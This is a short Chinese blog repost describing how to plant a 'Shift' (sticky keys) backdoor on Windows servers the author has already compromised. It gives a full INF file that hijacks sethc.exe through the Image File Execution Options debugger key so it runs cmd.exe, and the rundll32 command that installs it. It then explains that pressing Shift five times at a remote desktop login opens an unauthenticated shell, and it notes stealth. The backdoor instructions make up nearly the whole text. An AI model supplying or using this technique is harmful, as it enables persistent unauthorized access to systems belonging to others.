当前位置: 移动技术网 > 网络运营>安全>网站安全 > 添加SHIFT后门又一法 学习如何查找后门

添加SHIFT后门又一法 学习如何查找后门

2018年03月05日  | 移动技术网网络运营  | 我要评论
前几天搞了几个网站,之前搞的站一般不留后门,其实基本留了都被删除了,这次下决心要搞个shift后门留着自己用的,秒杀给你介绍一个方法!

将下面的代码保存成inf文件

[version]
signature="$windows nt$"
[defaultinstall]
addreg=my_addreg_name
[my_addreg_name]
hklm,software\microsoft\windows nt\currentversion\image file execution options\sethc.exe,debugger,0x00000000,c:\windows\system32\cmd.exe

然后上传到一个可以执行目录,比如我这里上传到c:\windows\temp\i.inf 然后在命令行执行

rundll32.exe setupapi,installhinfsection defaultinstall 128 c:\windows\temp\i.inf

然后远程登录3389,按5下shift即可跳出cmd.exe

为什么要命令行?隐蔽性?大家自行掂量

转载:秒杀博客

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网